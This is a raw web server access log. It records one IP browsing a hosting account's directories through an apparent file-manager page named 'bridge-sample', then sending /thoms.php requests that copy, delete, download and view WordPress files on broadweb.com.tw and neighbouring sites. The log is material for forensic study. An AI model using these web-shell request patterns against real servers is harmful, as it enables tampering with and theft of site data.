45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&option=folder HTTP/1.1" 200 6395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 28451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 6385 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 11124 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&option=file HTTP/1.1" 200 6396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 18752 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&location=%2Fhome%2F HTTP/1.1" 200 5823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 6395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 6366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /broadweb.com.tw/bridge-sample/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F HTTP/1.1" 200 6523 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /broadweb.com.tw/bridge-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11142 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /broadweb.com.tw/bridge-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:11 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:12 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-login.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?dl=term.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=term.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:13 -0400] "GET /thoms.php?del=widgets-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ferror_log&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ferror_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /broadweb.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /thoms.php?del=my-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /broadweb.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /broadweb.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /thoms.php?dl=press-this.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
